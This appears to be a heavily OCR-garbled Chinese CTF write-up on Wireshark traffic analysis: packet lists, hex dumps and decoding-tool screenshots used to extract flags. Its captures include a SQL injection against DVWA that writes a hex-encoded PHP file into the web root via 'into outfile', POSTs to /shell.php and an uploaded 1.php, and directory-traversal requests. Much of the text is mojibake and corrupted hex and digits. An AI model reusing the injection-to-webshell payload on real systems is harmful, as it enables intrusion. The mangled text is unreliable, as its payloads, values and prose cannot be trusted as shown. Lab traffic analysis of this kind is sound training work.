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M key.pcapng - X
HHE) REE) BN BEEHG) WERQ) SHINA) FitE) ®BiEY BEw) IRO #mH)

Am @® TR QemEFET [EqaqiE

MERETIES —~ Cul /> _— l
No Tine Source Destination Prote Length Info 1
T 10.000000 192.168.22.. 91.189.89.1. NTP 90 NTP Version 4, client

“ 2 0.248396 91.189.89.. 192.168.228. NTP 98 NTP Version 4, server

30.919899 fege::585d.. ffe2::1:2 DHC.. 148 solicit XID: exba8559 CID: 200100011c80e@5b3417eb831a75
4 2.138579 192.168.22.. 192.168.228.. DHCP 342 DHCP Request - Transaction ID @x562db682

52.138665 192.168.22.. 192.168.228.. DHCP 342 DHCP ACK - Transaction ID @x562db682
62.187614 VMware_c@:. Broadcast ARP 42 who has 192.168.228.27 Tell 192.168.228.1
7 2.193356 fe80::585d.. ffe2::16 ICM.. 90 Multicast Listener Report Message v2
82.193565 192.168.22.. 224.0.0.22  IGM.. 54 Membership Report / Leave group 224.0.0.252
92.251471 fes0::585d.. ffe2::16 ICM.. 90 Multicast Listener Report Message v2

Frame 1: 9@ bytes on wire (72e bits), 9@ bytes captured (72e bits) on interface \Device\NPF_{@2EC3CA@-E377-4309-8C57-BDF695F3784D}, id @
Ethernet II, Src: VMware_35:f9:e5 (©0:0c:29:35:f9:e5), Dst: VMware_e3:38:08 (0©0:50:56:e3:38:08)

Internet Protocol version 4, Src: 192.168.228.135, Dst: 91.189.89.199

User Datagram Protocol, Src Port: 40282, Dst Port: 123

Network Time Protocol (NTP Version 4, client)

50 56 e3 38 @8 00 @c 29 35 f9 e5 @8 @0 45 10
4c 6a al 40 00 4@ 11 75 3b c@ a8 e4 87 5b bd
¢7 9d Sa @@ 7b @@ 38 fe 26 23 00 00 00 00 00
@2 00 00 GO 60 00 00 00 00 00 G0 00 @0 60 60
00 00 00 G0 B0 00 00 00 00 00 G0 °O @0 68 B0
@0 dd 62 4e 17 29 a3 90 af
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SEFE =E ~ RaAbS
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Ho. Time Source Destination Prot
I 10.000000 192.168.22.. 91.189.89.1.. NTP ion 4, client

20.240396 91.189.89... 192.168.228.. NTP ion 4, server

30.919899 fe80::585d.. ffe2::1:2 DHC... 148 Solicit XID: @xba8559 CID: ©00100011c80e@5b3417eb831a75
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AR IS = F I RS E

{Ctrl-/> "
1 COE#*S | [ER#EER v | flag
[ Source Destination Prof c. Lengt ' Into
I j 192.168.22.. 91.189.89.1.. NTP 90 NTP Version 4, client
2©9.240396 91.189.89... 192.168.228.. NTP 9@ NTP Version 4, server

e EERERM A UFE Flflag

A[EAETHEE ~ Ctrl-/>

[FEFTR v =BFE - OEs*xs  [EREES v ‘ﬂ.ag
No. Time Source Destination Protc Length Info
: 98 18.945644 fe80::585d.. ffe2::1:3 LLM.. 86 Standard query @x6116 ANY Xman21
99 18.945708 192.168.22.. 224.0.0.252 LLM. 66 Standard query @x6116 ANY Xman21
100 20.191452 VMware_c@:.. Broadcast ARP 42 Who has 192.168.228.27 Tell 192.168.228.1

‘ 101 20.420272 192.168.22.. 239.,255.255.. SSDP 179 M-SEARCH * HTTP/1.1
162 20.517155 192.168.22.. 192.168.228.. TCP 364 52713 » 80 [PSH, ACK] Seq=1098 Ack=248 Win=261896 Len=31@ [TCP segment of a reassembled PDU]
103 20.517206 192.168,22.. 192,168,228.. HTTP 847 POST /shell.php HTTP/1.1 (application/x-www-form-urlencoded)

184 20.517288 192.168.22.. 192.168.228.. TCP 60 80 + 52713 [ACK] Seq=248 Ack=2201 Win=35072 Len=e@
165 20.538401 192.168.22.. 192.168.228.. HTTP 251 HTTP/1.1 200 OK (text/html)
106 20.538496 192.168.22.. 192.168.228.. TCP 54 52713 » 80 [ACK] Sea=2201 Ack=445 Win=261696 Len=0

<

> Frame 105: 251 bytes on wire (20@8 bits), 251 bytes captured (2008 bits) on interface \Device\NPF_{@2EC3CA@-E377-4309-8C57-BDF695F3784D}, id ©
> Ethernet II, Src: VMware 35:f9:e5 (00:8c:29:35:f9:e5), Dst: VMware c0:@@:08 (00:50:56:c0:00:08)
> Internet Protocol Version 4, Src: 192.168.228.135, Dst: 192.168.228.1
> Transmission Control Protocol, Src Port: 8@, Dst Port: 52713, Seq: 248, Ack: 2201, Len: 197
>
~ Line-based text data: text/html (5 lines)
X@vflag{This_is_a_f1eg}\n

[S]\n

Jvar /www/html\n

[E]\n

x@vy
0e3e ba of @@ @@ 48 54 54 50 2f 31 2e 31 20 32 - ----- HT TP/1.1 2
0040 20 4f 4b od @a 44 61 74 65 3a 20 54 75 65 00 OK--D ate: Tue
0050 31 32 20 53 65 7@ 20 32 30 31 37 20 31 32 ,» 12 Sep 2017 12
0e6e 34 3a 33 36 20 47 4d 54 od @a 53 65 72 76 114:36 G MT--Serv
0a70 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 31  er: Apac he/2.4.1
oo8e 28 55 62 75 6e 74 75 29 od @a 43 &f 6e 74 8 (Ubunt u)--Cont
290 74 2d Ac 65 6e 67 74 68 3a 20 34 39 ed @a ent-Leng th: 49--
eeao 6e 74 65 6e 74 2d 54 79 70 65 3a 2@ 74 65 Content- Type: te
eebe >
eece 54 46 2d 38 od ea od @a 6 c 6 =UTF-8-+ -«
eade 54 68 69 73 5f 69 73 5f 61 5f 66 31 30 67 {Thisii s_a_fieg

00e0 5b 53 5d @a 2f 76 61 72 2f 77 77 77 2f 68 }-[51-/v ar/www/h
C
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1 666C6167 <qmmumm—

666C6167 (#£iX B i #Plugins->converter->ASCIFHEX) #iAl PLBEAT i #e
BHEHTERKILL T E:

M bianma1.pcapng - a X
B SwIEE NEN) BEEG) B0 oA F#td) =REY) ZEW) 1RO FEiH)
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Neo. Source Time Destination Frotoce Length Info



627 0001
628 0001
629 90:e2:36:0b:19:2b
630 Universa f7:ca:39
631 Universa f7:ca:39

632 0001
633 0001
634 9@:e2:36:0b:19:2b
635 192.168.1.123
636 192.168.1.181
637 192.168.1.123
638 192.168.1.181
639 192.168.1.123
640 192.168.1.181
641 192.168.1.123
642 192.168.1.181
643 192.168.1.123
: 644 0001
§ 645 0001
' 646 00:e2:36:0b:19:2b
647 192.168.1.181
648 192.168.1.123
AA0 107 1RE8 1 1821

81.
81.
81.
81.
82.
86.
86.
86.
9].
91.
91.
9].
91.
91.
9].
91.
91.
91.
a1.
91.
9].

91.
a1

537624
537789
537790
632905
632600
537671
537771
537771
814434
178704
178998
368677
360935
511214
511595
661607
661962
662638
662872
662872
812274

813108
f0021732

0Bag

00agd
Broadcast
Broadcast
Broadcast
aeas8

0Bag
Broadcast
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
0Bad
0Bag8
Broadcast
192.168.1

192.168.1
107 1AR 1

O

.181
.123
.181
.123
.181
.123
.181
.123
.181

.123

.181
123

602 Subarea Nod
602 Subarea Nod
6@ ARP Announdc
192
192
Nod
Nod
68 ARP Announc
116——
644
11¢
644
11¢
644
11€
644
11¢
Nod
Nod
68 ARP Announc
60 11000 » 644

179 64406 -» 11
RO 110008 = AAA

60 Who has
60 Who has
682 Subarea
602 Subarea

60 64406 -
60 11000
60 64406

62 64406
60 116680
62 64406
602 Subarea
602 Subarea

=)
=
=
[y
=
=
=]
LR 2 A

>

Frame 648: 179 bytes on wire (1432 bits), 179 bytes captured (1432 bits) on interface \Devi~
Ethernet II, Src: VMware @a:63:9f (©0:8c:29:0a:63:9f), Dst: @0:e2:36:0b:19:2b (@0:e2:36:0b:

Internet Protocol Version 4, Src: 192.168.1.123, Dst: 192.168.1.181
User Datagram Protocol, Src Port: 644e6, Dst Port: 11000

v Data (137 bytes)

Data: 2deed73f8900240082627252709000770000001100620000000000000000000200000!

- e —

<

0080 f2 29 00 03 01 @2 00 C83 00 00 01 00 25 00

Glelaulaw7b 37466T4d

0090 ELENGEREEENREREY, 37 62 33 37 34 36 36 66 34 64
Qoao 33 32 35 33 37 34 36 62 36 38 36 35 35 30 37 61 3253746b 6865507a CSDN @TJA/ Ml
WIEA R T A TR
M bianmal.pcapng — a X
NP wEE WMEN) BEEG R0 oA siEe) BEEY) ZEW TEO #EH)
Amai® R QewszEFe]Eaaar
(N[EZAErdEeE - ctrl-/> =Rk
HEFER v| =HE ORs%S  [ERFAR | |esaceier B |
No. Source Time Destination Frotecoe Length Info
i 627 8eel 81.537624 @0as SNA 602 Subarea Nod
E 628 801 81.537789 ©0as SNA 602 Subarea Nod
i 629 00:e2:36:0b:19:2b  81.537790 Broadcast ARP 6@ ARP Announc
i 630 Universa f7:ca:39 81.632905 Broadcast ARP 6@ Who has 192
i 631 Universa_f7:ca:39 82.632600 Broadcast ARP 6@ Who has 192
E 632 geel 86.537671 e0as SNA 602 Subarea Nod
i 633 B0l 86.537771 00as SNA 602 Subarea Nod
i 634 00:e2:36:0b:19:2b  86.537771 Broadcast ARP 6@ ARP Announc
635 192.16¢ Expand Subtrees .168.1.181 uppP 6@ 64406 » 11€é—
636 192.16¢ HreE .168.1.123 UDP 6@ 11eee -» 644
637 192.16¢ SEEREFT .168.1.181 UDP 60 64406 » 11€
638 192,16¢ - iiE=] .168.1.123 uppP 60 11000 - 644




539 192,16¢ RIS Ctrl+Shift+] [E-168.1.181 unP 59 644U6 > 11¥
648 192.16% 2.168.1.123 UDP 60 11868 -» 644
641 192.16¢ 'I"F;’ﬂﬂﬁﬁﬁﬁ_‘?ﬁﬁ ’ 2.168.1.181 UDP 62 64486 » 11€
642 192.16¢  Prepareasfilter " p.168.1.123  UDP 0 11000 > 644
643 102.16¢  NJallisia " D.168.1.181 UDP 62 64406 > 11€
g 644 eeel = gt SNA 602 subarea Nod
645 0@l o " b8 602 Subarea Nod
646 PB:e2:: =1 » padcast 68 ARP Announc
647 192.16¢ S Ctrl+Shift+0 ?.168.1.123 60 11080 » 644
648 192.16¢ SHAETHAE)... Ctrl+Shift+X P.168.1.181 Ubpp 179 644606 - 11¢€
AAQ 17 1RS ) 1AR2 1 17232 NP AR 1180608 - RAA
< Wiki #MY T ?
> Frame 648: 17! HiEsErEEE fes captured (1432 bits) on interface \Devi
> Ethernet II, ! il iR » 3:9f), Dst: @0:e2:36:0b:19:2b (@0:e2:36:8b:
> Internet Prot EREH(A)... Ctrl+Shift+U Dst: 192.168.1.181
> User Datagram St e e [: 11000
v Data (137 byt  prmmnamermsemgs
Data: @8deed rsrovvezravezrorrzozrovverrovoeoerrodb2000000080000000000000000000000...
< B T >
0228 01 bs fb 96 2a 8 80 91 35 23 [LMElNGFARES e ANC]; R R« « « P«
LCECIMO/ 00 26 27 25 27 00 00 77 00 00 00 11 00 62 OCfMS &% - we---- CSDN @T A/
INTEO0 00 00 00 00 P9 B0 00 PO 0O G0 00 PO 00 G0 POEEN: <+« -+ secaaaas -2 AR
M Wireshark - Data (data.data) - bianma1.pcapng - O X
2P 5 &Y w - b . 8 * b b o MATIN (evevee ) e
R M c66c61677b37466TAd3253746b6865587a7d
fif §47 Data (data dars) 137 FF.
@Eh & v | BTH 4SCII v P lo 3] &k s [2
= | BT
$TED =4 BiEH - clzDN @TI A

EHREEREE—T

File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window 2
s HHBR LA L D2t 22 BE ST EEEPo® HEDNEE

E new 1ﬂ|
‘ 1 flag{7FoM2StkhePz}




B 448 Bflag{7FoM2StkhePz}

2. attack_log_analysis

IR G, BAVERZBIERINTR, HZEKlagh AR, REiTAaghidit

fo g

1T=

M attack log analysis.pcap - O Pt
SEE) HEE) WA BERG) #BEEC) o) SFiHS) BiEY) AW TEI) #EIH)
Ami® RR Qes=EgsTEaaar
N ARSI ERE - Ctrl-/> B3 -]+
SEFHE v EE ORS*xE [ ERFAR v [eeecaler | osm || m
Nao. Source Time Destinatlon Pro?bco Length Info
16409 192.168.50.1 86.116313 192.168.50.151 TTP 1882 GET /vulner
Jj 1642 192.168.50.151 86.124673 192.168.50.1 TTP 586 HTTP/1.1 2@
: 1661 192.168.50.1 86.685092 192.168.50.151 TTP 574 GET /dvwa/
i 1664 192.168.50.1 86.685306 192.168.50.151 TP 588 GET /dvwa/i
i 1665 192.168.50.1 86.685486 192.168.50.151 HITP 582 GET /dea/c:::
i 1669 192.168.50.151 86.699053 192.168.50.1 HT\TP 870 HTTP/1.1 2¢€
i 1670 192.168.50.151 86.700089 192.16¢.50.1 HTTP 208 HTTP/1.1 2¢€
i 1671 192.168.50.151 86.702846 192.368.50.1 HTTP 782 HTTP/1.1 2€

>

v [truncated]GET /vulnerabilities/sqli/?id=-14E7+union+select+@x3C3F70687020247374723D225
[ [truncated]Expert Info (Chat/Sequence): GET /vulnerabilities/sqli/?id=-1%27+union+se
Request Method: GET
v Request URI [truncated]: /vulnerabilities/sqli/?id=-1%27+union+select+@x3C3F7068702024
Request URI Path: /vulnerabilities/sqli/
v Request URI Query [truncated]: id=-1%27+union+select+8x3C3F70687020247374723D225556
Request URI Query Parameter [truncated]: id=-1%27+union+select+@x3C3F706870202473
< >
9000 88 ec 29 db c2 37 00 50 56 CO 99 B2 98 @@ 45 09 ey TP Ve E A
@4 2c 28 97 40 0@ 80 @6 e8 4b c@ a8 32 @1 c@ as 0@ K200
32 97 3d e@ 1f 9a 99 ab «c@ 92 88 87 13 5@ 5@ 18 P PP-
91 @@ 40 5b @0 o0 47 A5 54 20 2f 76 75 6C 6e 65 <+@[--GE T /vulne
72 61 62 69 6C 69 74 69 65 73 2f 73 71 6C 69 2f rabiliti es/sqli/
3f 69 64 3d 2d 31 25 32 37 2b 75 6e 69 6T Ge 2b ?id=-1%2 7+union+
73 65 6C 65 63 74 2b 3@ 78 33 43 33 46 37 3@ 36 select+@ x3C3F7@6
38 37 30 32 30 32 34 37 33 37 34 37 32 33 44 32 87020247 374723D2
32 35 35 35 36 33 43 34 46 34 32 34 43 33 45 34 255563C4 FA24C3E4
43 34 32 34 38 33 43 35 34 35 32 34 37 33 45 34 CA2483C5 AS2473E4A
37 35 35 35 32 33 A3 35 33 35 39 34 45 35 34 33 755523C5 3594E543
J0be 45 32 32 33 42 32 30 36 35 36 33 36 38 36 46 32 E223B206 563686F2
ooct 38 32 32 36 36 36 43 36 31 36 37 37 42 32 32 32 822666C6 1677B222
godo 45 37 33 37 34 37 32 35 46 37 32 36 46 37 34 33 E7374725 F726F743
31 33 33 32 38 32 34 37 33 37 34 37 32 32 39 32 13328247 37472292
45 32 32 37 44 32 32 32 39 33 42 33 46 33 45 2c E227D222 93B3F3E, P — i
32 2b 69 6e 74 6f 2b 6Ff 75 74 66 69 6c 65 2b 25 2+intot+o utfile+’ CSDN @TJA/JMi

RIEXBECERRIIN M laghid, RINEEAREFSIAFT



M Wireshark - Text item (text) - attack_log_analysis.pcap

GET /vulnerabilities/sqli/?
id=-1%27+union+select+8x3C3F70687020247374723D2255563CAFA24C3EACA2483C5452473E4755523C53594E
5A3E223B206563686F2822666C61677B222E737A725F726F7A431332824737A72292E227D22293B3F3E,
2+into+outfile+%27/var/waw/h /822666C61677B222E7374725F726F74313328247374. phpk27--

+&Submit=Submit HTTP/1.1

ff 1640 Texr rrem (test) 312 FF.

gEn X

~ | BiRi ASCIT

Ao B &% 312 5]

T |

[E#T—1w]

RTS8 Blflag{".str_rot13($str)."}

$TER =l A Closg S D)l @Webw |\

File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window 2

cHHERGAI L WD e nk 2% BRI E0ENa® @ E0NE G

E new 1!:I|

| 1 flag{".str rotl3($str)."}

=, ERRRE
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1. WRmWY

fEE—EFRMNREEAMAREER, IMERAI ST =

WEE, JRXAEE MRS B RS —HRwLH

|£ | kEEZ £ EIPACTFerackToolsv2.2 Beta

Ba| sl e BT F

LB A A
Rot13#f G
AL B AL T AT
AR ED 300 5 AR
$EAR G AL T AT

18 B 5 5 BT 5
Baset4iw HUTF-8
Baseb4HEs5Utf-8
Base&4 i % GBK
Base&d HEs5GEK
R A o

1= (0 -1

o |

A AR F AT 4




Lt I e P b e |

FIF R

URL %% 45

URL %525
Unicode# &
UnicodefEi5

Plsci i #4#Unicode l
Unicode¥ #EAsci i

CSDN @TJas )M

& | KEREZ L ERACTFcrackToolsv2.2 Beta
Fan Rl 464 BT AF
l’Crypto rlmags |’LInZ|'p |

LS BT AR A NS T
flagl

E#102; &4#108; &#97 ; &#103;

CSDN @TJA/ M

HEERA T

M TTESEE peapng
STEHE) BEE) MEN BERG RO SR Sie) BmEY) THEw TEO FEEH)

AN Z@® 1ERE QenEF IS QaQTr
FHAR TS - Ctrl-/>
=E C OEARDSS  [ENFES | [ex02, 6108, 6897, 68103,

No. Source Tine Destination Frotoco Length Infe
110.211.55.2 0.000000 10.211.55.15 TCP 78 55535 - 80 [SYN] Seq=0 Win=65535 Len=@ MS55=1460 WS=32 TSval=780004401 TSecr=¢
210.211.55.15 0.000141 16.211.55.2 TCP 74 80 » 55535 [SYN, ACK] Seq=8 Ack=1 Win=5792 Len=8 MSS=1460 SACK PERM=1 TSval=1
3 10.211.55.2 @.000188 19.211.55.15 TCP 66 55535 » 80 [ACK] Seq=1 Ack=1 Win=131744 Len-0 TSval-730004401 TSecr=1449379
416.211.55.2 @.000655 10.211.55.15 HTTP A68 GET / HTTP/1.1
510.211.55.15 9.000751 16.211.55.2 TCP 66 80 » 55535 [ACK] Seq=1 Ack=483 Win=6912 Len=@ TSval=-1440880 TSecr=780004401
6 10.211.55.15 @.002151 19.211.55.2 TCP 1514 80 > 55535 [ACK] Seq=1 Ack=403 Win=6912 Len=1448 TSval=1448880 TSecr=7300044¢
7 10.211.55.15 ©.002156 10.211.55.2 HTTP A79 HTTP/1.1 200 OK (text/html)
810.211.55.2 9.002191 16.211.55.15 TCP 66 55535 » 80 [ACK] Seq=4@83 Ack=1862 Win=129888 Len=8 TSval=780004403 TSecr=144¢
910.211.55.2 ©.010954 10.211.55.15 HTTP 520 GET /css/bootstrap-responsive.css HTTP/1.1

> Frame 1: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface vnice, id @

> Ethernet II, Src: Parallel 00:00:08 (@0:1c:42:00:00:08), Dst: Parallel_a4:95:06 (@0:1c:42:a4:95:06)
» Internet Protocol Version 4, Src: 10.211.55.2, Dst: 10.211.55.15

>

CSDN @TJA/ M

RIM AR BEERBA, AV RRHEAER), 2 RAag P FF il



M TTEHEE peapng

HHE) SER(E) WEN) BEEG RO

@ XeE ]

= =

SIFA) ST MIEY) FTEW)
RA=EE N WS

T8O #8iH)

MERETHEE ~ «trl-/>

SEFTR v HE

L ESHS

EMFED | [awtoz

Ho. Source Tine Destination Frot
448 10.211.55.2 431.385566 18.211.55.15 TCP TCP Window Update] 55598 -» 8@ [ACK] 5eq=813
449 10.211.55.2 434.869590 10.211.55.15 HTTP load/examplel.php HTTP/1.1
450 10.211.55.15 434.,870629 10.211.55.2 HTTP 1060 HTTP/1.1 0K (text/html)
451 18.211.55.2 434.870684 18.211.55.15 TCP 66 55598 -» 80 [ACK] S5eq=1215 Ack=27317 Win=1308:
452 1€.211.55.2 440.456163 1¢.211.55.15 TCP 622 55598 » 80 [PSH, ACK] Seq=1215 Ack=27317 Win
453 10.211.55.2 448.456280 10.211.55.15 TCP 202 55598 - 80 [PSH, ACK] Seq=1771 Ack=27317 Win
454 18.211.55.15 448.456341 18.211.55.2 TCP 66 8@ » 55598 [ACK] Seq=27317 Ack=1907 Win=1126:
455 16€.211.55.2 440.456373 1¢.211.55.15 TCP 168 55598 » 80 [PSH, ACK] Seq=1907 Ack=27317 Win
456 10.211.55.2 448.456592 10.211.55.15 HTTP 212 POST /upload/examplel.php HTTP/1.1 (text/pl
Urgent Pointer: @
Options: (12 bytes), No-Operation (NOP), No-Operation (MOP), Timestamps
[SEQ/ACK analysis]
[Timestamps ]
TCP payload (102 bytes)
[Reassembled PDU in frame: 456]
TCP segment data (102 bytes)

2000 0@ 1c 42 a4 95 06 @0 1c 42 00 @@ @8 03 00 45 02 cBesrer BB

0010 8@ 9a 87 56 40 @0 40 96 00 00 ea d3 37 02 @a d3 cev@e@e 7

0020 37 ©f d9 2e 00 50 cf 76 84 c2 ba 6b f4 ec 80 18 7o Py ok e

0030 10 99 84 43 00 00 @1 @1 ©8 @a 2e 84 a2 of ee 17 oG

0040 a5 1f pERPERESRELREY. 3b 26 23 34 39 3b 26 23 39 H; &#49 ; &#9

o050 37 3b 26 23 31 3@ 33 3b 26 23 31 32 33 3b 26 23 7;8#103; &#123;8#

2060 31 31 35 3b 26 23 31 30 35 3b 26 23 34 39 3b 26 115;8#10 5;8&#49;&

0070 23 34 39 3b 26 23 31 32 31 3b 26 23 39 38 3b 26 #49;8#12 1;&#98;8&

G020 23 34 38 3b 26 23 31 32 31 3b 26 23 31 30 31 3b #48;8#12 1;8&#101;

0090 26 23 31 30 39 3b 26 23 31 3@ 39 3b 26 23 31 30 &#109;8# 109;8&#10

20a0 39 3b 26 23 31 32 35 3b 9;&#125; )

CSDN @TJAs )M
M TTEmEZE peapng

M) RE(E) WEN) BEG) RO

SHTA) FHS) EBIElY) FEW)

TED

HEI(H)

Am 1@ NP QewEFEs]=qaei

NEAE TR - Ctrl-/>
SEFTE v BE OEs*xS EMFEES | [erioz

No. Source Time Destinatlion Frotoco Length Info
448 19.211.55.2 431.305566 10.211.55.15 66 [TCP Window Update] 55598 » 8@ [ACK] Seq=813 Ack=26323
449 19.211.55.2 434.869590 10.211.55.15 468 GET /upload/examplel.php HTTP/1.1
450 19.211.55.15 434,870629 10.211.55.2 1060 HTTP/1.1 200 OK (text/html)
451 19.211.55.2 434,870684 10.211.55.15 TCP 66 55598 > 80 [ACK] Seq=1215 Ack=27317 wWin=130048 Len=0 TS
452 19.211.55.2 440.456163 10.211.55.15 TCP 622 55598 > 8@ [PSH, ACK] Seq=1215 Ack=27317 Win=131872 Len
453 19.211.55.2 440.456280 19.211.55.15 TCP 2082 55598 » 8@ [PSH, ACK] Seq=1771 Ack=27317 Win=131872 Len
454 19.211.55.15 440.456341 10.211.55.2 TCP 66 80 » 55598 [ACK] 5eq=27317 Ack=1987 Win=11264 Len=8 TSv
455 19.211.55.2 440.,456373 19.211.55.15 TCP 8 55598 » 8@ [PSH, ACK] Seq=1907 Ack=27317 Win=131072 Len
456 19.211.55.2 440.,456592 19.211.55.15 HTTP 212 POST /upload/examplel.php HTTP/1.1 (text/plain)

Urgent Pointer: @

Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps

[SEQ/ACK analysis]
[Timestamps ]
TCP payload (1©2 bytes)

[Reassembled PDU in frame: 456]

TCP segment data (182 bytes)

\

<]
o

@ ¢
) @
) = ¢

@ ¢

C

)
[

o0
00
37
10
a5
37
31
23
23
26
39

1c
9a
af
oo
1f
3b
31
34
34
23
3b

42 a4 95 926 ee
87 56 40 oe 4e
do 2e @@ 50 cf
84 43 20 @@ el
26 23 31 3@ 32
26 23 31 3@ 33
35 3b 26 23 31
39 3b 26 23 31
38 3b 26 23 31
31 3@ 39 3b 26
26 23 31 32 35

FHEHHRE—T

1c
86
76
a1
3b
3b
30
32
32
23
3b

42
00
84
o8
26
26
35
31
31
31

oo
[51%]
c2
Qa
23
23
3h
3b
3b
30

(2%]
Ba
ba
2e
34
31
26
26
26
39

o8
d3
6b
84
39
32
23
23
23
3b

o8
37
fa
a2
3b
33
34
39
31
26

Qe
a2
ec
of
26
3b
39
38
3e
23

45 @2

0a d3 .

80 18 7--.-

ee 17 ---Cc-F . ..,

23 39 - -[FEEE; &#49;8&#0

26 23 7;&#103; &#123;8#

3b 26 115;8#10 5;&#49;&

3b 26 #49;8#12 1;8&#098;&

31 3b  #48;8#12 1;&#101;

31 30 &#109;&# 109;&#10
0;&#125;

CSDN @TJA)MEE



caoma an s

wesson g =

Source
448 10,211.55.2
449 10,211.55.2
450 10.211.55.15
451 10,211.55.2
452 10,211.55.2
453 10,211.55.2
454 10.211.55.15
455 10.211.55.2
456 10.211.55.2

. 305566
. 869599
. 870629
870084
.456163
.456288
.456341
.456373
.456592

Destination

10.211.55.15
14 211 85 1§

Protoco Length Info
TCP

UTTD

66 [TCP Window Update] 55598 - 80 [ACK] Seq=813 Ack=26323 Win=131@72 Len=e Tsval

A2 GET /unlnad/avamnlal nhn HTTD/1 1

v v v

Urgent Pointer: @

[SEQ/ACK analysis]

[Timestamps]

TCP payload (102 bytes)
[Reassembled PDU in fram

456]

TCP segment data (102 bytes)

oOptions: (12 bytes), No-Operation (NOP), N

ee
10
20

40
50
60
70
8@
=1}
ae

(4]
08
37
1e
as
37
31
23
23
26
39

1c
9a
ef
@o
1f
3b
31
34
34
23
3b

42
87
do
84

a4
56
2e
a3
23
23
3b
3b
3b
3e
23

95
40
21
00
31
31
26
26
26
39
31

HEME AR

06
00
50
0e
30
30
23
23
23
3b
32

Qe
40
cf
01
32
=3
31
31
31
26
25

1c
@6
76
01
3b
3b
30
32
32
23
3b

42
Qe
84
a8
26
26
35
31
31
31

515)
0o
c2
Qa
23
23

3b
3b
3e

o8
d3
6b
84
39
32
23
23
23
3b

o8
37
fa
a2
3b
33
34
39
31
26

Ww W W oD oo

M Wireshark - TCP segment data (tcp.segment_data) - EFEfIEEZ. pcapng

O

X
B6e4 TSecr=1:%

109; &#125;

241102 ; &#A40; K407 ; &#103 3 &4#123 ; Ri115 ; &#105 ; &d#10 ; &40 ; &i#121 ; &4#08 ; &8 ; &i#121 ; &4#101 ; &4100 ; &#100 ; &

1-780444175 1
1-780444175 1
b TSecr=73044
L=780444175 1

#§ 455 0P seguent data (tcp. segment dare) 102 FH.
wEn ~| B [ascI ~] Bk Ly
= | | BT w]
| #m | s | BEAe | clese | Belp |
9;8#125; CSDN @TJAs )M

| £ | EREZ2EACTFcrackToolsv2.2 Beta
Fah dbEEE 4G4 KT

fCrypto rlmaga rUnZip

RE G ME B

b A Ay AT 45102

H102; 8449 497 &#103; 83123, 82115, 84105, 8249 8849, &#121  R#98 8448, &#1 21 82101 ; 84109 &#109 ; &#109; &#125;

F g8

flag{si11ybOyemmm}

R3flag, RifEfagh, FRBMEHEEEIT .
flag{si11ybOyemmm}

2. EFWWRE




7 H J5& — Fhttpth il H B 4 R

.pcapng

MHHE) FEE REN BREG RO SiTA) HmINS) BEY) BEW) TEO FBEHH)
Am RE Qe EF &5 Qe
M[ERETIESE -~ <Ctrl-/>
SEFER v| [BE O ESASS  [EREE | 8 &
Ho. Source Tine Destination Protoco Length Info =
227 Parallel 24:95:06 208.064603 Broadcast ARP 42 Who has 10.211.55.1? Tell 10.211.55.15
228 Parallel 00:00:18 208.064658 Parallel_a4:95:06 ARP 42 10.211.55.1 is at @0:1c:42:00:00:18
229 10.211.55.15 208.064756 10.211.55.1 DHCP 342 DHCP Request - Transaction ID @x8c52dd16
230 10.211.55.1 208.069910 10.211.55.15 DHCP 347 DHCP ACK - Transaction ID exsc52dd16
- 410.211.55.2 0.900655 10.211.55.15 HTTP 468 GET / HTTP/1.1
- 7 10.211.55.15 0.002156 10.211.55.2 HTTP 479 HTTP/1.1 200 OK (text/html)
910.211.55.2 9.010954 10.211.55.15 HTTP 520 GET /css/bootstrap-responsive.css HTTP/1.1
10 10.211.55.15 0.011283 10.211.55.2 HTTP 276 HTTP/1.1 304 Not Modified
13 10.211.55.2 0.911891 10.211.55.15 HTTP 510 GET /css/bootstrap.css HTTP/1.1
19 10.211.55.15 0.012315 10.211.55.2 HTTP 277 HTTP/1.1 304 Not Modified
24 19.211.55.2 ©9.013048 10.211.55.15 HTTP 435 GET /dirtrav/example3.php?file=hacker HTTP/1.1
2510.211.55.2 0.013115 10.211.55.15 HTTP 439 GET /dirtrav/examplel.php?file=hacker.png HTTP/1.1
28 10.211.55.2 @.0913179 10.211.55.15 HTTP 454 GET /dirtrav/example2.php?file=/var/www/files/hacker.png HTTP/1.1
73 10.211.55.15 0.015256 10.211.55.2 HTTP 1360 HTTP/1.1 200 OK (text/html)
78 10.211.55.15 0.915281 10.211.55.2 HTTP 1360 HTTP/1.1 200 OK (text/html) /
106 10.211.55.15 0.017101 10.211.55.2 HTTP 1360 HTTP/1.1 200 OK (text/html)
123 10.211.55.2 7.651393 10.211.55.15 HTTP 674 POST /upload/images/1.php HTTP/1.1 (application/x-www-form-urlencoded)
126 10.211.55.15 7.652554 10.211.55.2 HTTP 322 HTTP/1.1 200 OK (text/html)
129 10.211.55.2 7.666468 10.211.55.15 HTTP 796 POST /upload/images/1.php HTTP/1.1 (application/x-www-form-urlencoded)
131 10.211.55.15 7.667453 10.211.55.2 HTTP 500 HTTP/1.1 200 OK (text/html)
134 10.211.55.2 9.690182 10.211.55.15 HTTP 442 POST /upload/images/1.php HTTP/1.1 (application/x-www-form-urlencoded)
136 10.211.55.15 9.690905 10.211.55.2 HTTP 350 HTTP/1.1 200 OK (text/html)
162 10.211.55.2 52.468546 10.211.55.15 HTTP 506 POST /upload/images/1.php HTTP/1.1 (application/x-www-form-urlencoded)
165 10.211.55.15 52.469573 10.211.55.2 HTTP 322 HTTP/1.1 200 OK (text/html) CSDN @TJAY,

RIApostiRR TR, BRMHEMIZAFH AN EARR, BERER

EEEN(H)
M Wireshark - \8E TCP ¥ (tcp.stream eq 16) - ETEIEE. pcapng - m] X

[W]tcp. strean eq 16

Er T = B et v “1 B S i
GHERET —_ . W e Ew%ﬁiﬁ L} WebKitFormBoundaryBMPTIeB4An19V1ou = =
fo. Sourcs Tine Destination Content-Disposition: form-data; name="image"; filename="hnt.txt"
42410.211.55.2 431.305271 10.211.55.15 Content-Type: text/plain 1435046 TSecr=154876€8
42310.211.55.2 431.305262 10.211.55.15
422 16.211.55.15 431.305226 10.211.55.2 &#102;8#49 ;8497 ; &#103; &#123;&#115 ;84105 ; &#49; &#49; &#121; &#98 ; &#48; &#t121; &#101; &#109; &#1@ 3 [TCP segment of a reas
